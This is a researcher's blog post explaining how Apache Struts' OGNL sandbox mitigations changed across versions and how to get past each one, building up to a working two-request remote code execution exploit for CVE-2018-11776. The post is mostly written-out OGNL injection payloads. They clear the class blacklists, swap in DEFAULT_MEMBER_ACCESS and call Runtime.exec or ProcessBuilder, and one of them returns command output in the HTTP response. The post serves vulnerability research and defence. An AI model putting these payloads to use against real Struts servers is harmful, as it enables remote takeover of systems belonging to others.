November 21, 2018

OGNL Apache Struts exploit: Weaponizing a sandbox bypass (CVE-2018-11776)

Man Yue Mo

In this post I'll give details of how to construct the exploit for CVE-2018-11776. I'll first go through the various mitigation measures that the Struts security team had put in place to limit the power of OGNL and also the techniques to bypass them. I'll focus on general improvements in the SecurityMemberAccess class, which is like a security manager that decides what OGNL is allowed to do, as well as the limitations in the OGNL execution environment. I will omit the more specific measures that were introduced to protect specific components, such as improvements in the whitelist in the ParametersInterceptor.

A brief history of OGNL exploits in Struts

Before describing how to attack CVE-2018-11776, I want to give some background and to introduce some concepts that are needed to understand OGNL exploits. I'll be using the double evaluation bug in TextArea to illustrate the exploits, as it makes the TextArea into a rather handy OGNL display (maybe it's a feature). First let's go through some basic concepts in OGNL.

OGNL execution context

OGNL in Struts runs in an environment in which various global objects are accessible by using the # sign. This document shows some of the objects that are accessible. As well as the objects listed there, there are also two very important objects for exploit construction. The first is _memberAccess, which is a SecurityMemberAccess object used for controlling what OGNL can do, and the other is context, which is the context map that allows access to many more objects, many of which are useful for exploit construction. Having access to _memberAccess very much defeats the whole purpose of SecurityMemberAccess as its settings can then be easily modified. For example, many early exploits began with

#_memberAccess['allowStaticMethodAccess']=true

which changes the settings in _memberAccess. The following

@java.lang.Runtime@getRuntime().exec('xcalc')

will then pop a calculator.

SecurityMemberAccess

As explained in the previous section, Struts uses _memberAccess to control what is allowed in OGNL. Initially, this used a few Boolean variables (allowPrivateAccess, allowProtectedAccess, allowPackageProtectedAccess and allowStaticMethodAccess) to provide coarse control of how OGNL can access methods and members of Java classes. By default, all of these are set to false. In later versions, there are also three blacklists (excludedClasses, excludedPackageNames and excludedPackageNamePatterns) that are used to deny access for specific classes and packages.

No static method, but allow arbitrary constructor (before 2.3.20)

Be default, _memberAccess is configured to prevent access of static, private and protected methods. However, before 2.3.14.1, this could be easily bypassed by fetching #_memberAccess and changing these settings. Many exploits involved doing this, For example:

(#_memberAccess['allowStaticMethodAccess']=true).(@java.lang.Runtime@getRuntime().exec('xcalc'))

allowStaticAccess

In 2.3.14.1 and later, allowStaticMethodAccess became final and could no longer be changed. However, as _memberAccess also allows construction of arbitrary classes and access to their public methods, it is actually not necessary to change any settings in _memberAccess at all to execute arbitrary code:

(#p=new java.lang.ProcessBuilder('xcalc')).(#p.start())

this will carry on working until 2.3.20.

2320exploit

No static method, no constructors, but allow arbitrary class access (2.3.20-2.3.29)

In 2.3.20, the blacklists excludedClasses, excludedPackageNames and excludedPackageNamePatterns are introduced to blacklist some classes. Another important change is also introduced which denies any constructor call. This kills the ProcessBuilder payload. From this point on, static methods and constructors are not permitted, which places a rather strong restriction on what OGNL can do. However, _memberAccess is still accessible and what's more, there is a static object DefaultMemberAccess that is also accessible. This DefaultMemberAccess object is a weaker version of the default SecurityMemberAccess that allows both static method and constructors. So the idea is simple, just replace _memberAccess by DefaultMemberAccess!

(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('xcalc'))

this works before 2.3.29 and this trick still forms an important part of more recent exploits.

2329exploit

Restrictions on class access and _memberAccess no longer available (2.3.30/2.5.2+)

Finally, _memberAccess is gone, so none of these simple tricks work any more. On top of that, the classes ognl.MemberAccess and ognl.DefaultMemberAccess are included in the blacklist. To see how to bypass this, let's take a look at a simplified version of the payload for S2-045:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

First thing to notice about this exploit is that it does not even try to reach _memberAccess. Instead, it tries to get an instance of OgnlUtil and clear out its excluded classes blacklist. So how does it work? The exploit first gets a Container from the context map, which contains the following keys:

contextKeys

The key com.opensymphony.xwork2.ActionContext.container gives me an instance of a Container in the OGNL execution environment.

container

The getInstance method then tries to create an instance of the class OgnlUtil, but because it is a singleton, it returns the existing global instance.

ognlUtil

To see how the excludedClasses in the global OgnlUtil object is related to that of the _memberAccess object, let's take a look at how _memberAccess is initialized.

When a request comes in, a new ActionContext is created by calling the createActionContext method.

createActionContext

This eventually calls the setOgnlUtil method of OgnlValueStack to initialize the securityMemberAccess of the OgnlValueStack with the global instance of OgnlUtil.

setOgnlUtil

As we can see from the example below, securityMemberAccess here (last line) is the same as _memberAccess(first line).

_memberAccess

This means the global instance of OgnlUtil shares the same excludedClasses, excludedPackageNames and excludedPackageNamePatterns Set as _memberAccess and therefore clearing these will also clear the corresponding Set in _memberAccess.

After that, OGNL can freely access the DEFAULT_MEMBER_ACCESS object and the setMemberAccess method in OgnlContext to replace _memberAccess with the weaker DEFAULT_MEMBER_ACCESS, and then execute arbitrary code.

2510exploit

Bypassing 2.5.16

I will now explain how to bypass the mitigation in 2.5.16 and attack CVE-2018-11776. Let's first take a look at the publicly available exploit for this since day 2 of the disclosure. There are different versions, but they all roughly go like:

${(#_memberAccess['allowStaticMethodAccess']=true).(#cmd='xcalc').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

From the previous section, readers should be able to find at least two reasons why this won't work for 2.5.16 and identify the exact version in which it stopped working (hint: none of the 2.5.x). This is actually good news as it gave people plenty of time to upgrade and hopefully also prevented large-scale exploits from happening.

Let's now construct an exploit that actually works.

Having seen the incremental OGNL mitigation improvements, the natural starting point of an exploit would be the most recent one that worked, which is this one:

(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

This, however would not work in 2.5.16 due to other improvements that were introduced. First, access to context is removed in 2.5.13 and also the excludedClasses etc. blacklists became immutable after 2.5.10.

As explained, the context global variable is no longer available after version 2.5.13, so the first step is to see if there is a way back to context. Let's take a look at what's available here. I'll work my way through the alphabet from A. Let's take a look at attr.

attr

The value of struts.valueStack stands out, with OgnlValueStack as its type. If I want to get back to the context map used by OGNL, then something of type OgnlValueStack seem like a very good candidate. Indeed, there is a method called getContext which turns out to do exactly what it says on the tin and gives us the context map. So we can now modify the previous exploit into this:

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

This, however, still won't work because excludedClasses and excludedPackageNames are now both immutable:

clearFail

Unfortunately, these blacklists aren't really immutable as such, because you can modify them with the setters.

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames('')).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

This, however, still doesn't work. The excludedClasses set is cleared in ognlUtil:

clearExcludedOgnl

but not in _memberAccess

notclearMemberAccess

This is because when setting excludedClasses in ognlUtil, it assigns excludedClasses to a new empty set rather than modifying the set referenced by both _memberAccess and ognlUtil, so this change only affects ognlUtil, but not _memberAccess. This, however, is not far off, because all I have to do now is to resend this payload:

calculator_2516

How does that work?! Remember that _memberAccess is a transient object that is created during the creating of a new ActionContext when a request comes in. Every time a new ActionContext is created by the createActionContext method, the setOgnlUtil method is called to create _memberAccess using the excludedClasses, excludedPackageNames etc. blacklists from the global ognlUtil. So by resending the request, the newly created _memberAccess will have its blacklisted classes and packages emptied, allowing us to execute arbitrary code. Tidying up the payload, I ended with these two payloads. The first one empties the excludedClasses and excludedPackageNames blacklists

(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))

and the second one disarms _memberAccess and executes arbitrary code.

(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('xcalc'))

Sending these two, one after another, allows me to execute arbitrary code with CVE-2018-11776.

Thanks to Kevin Backhouse, a fully working PoC for CVE-2018-11776 up to 2.5.16 is available here with a docker image built from scratch so that it is clear which version of Struts it is using.

Note: Post originally published on LGTM.com on November 21, 2018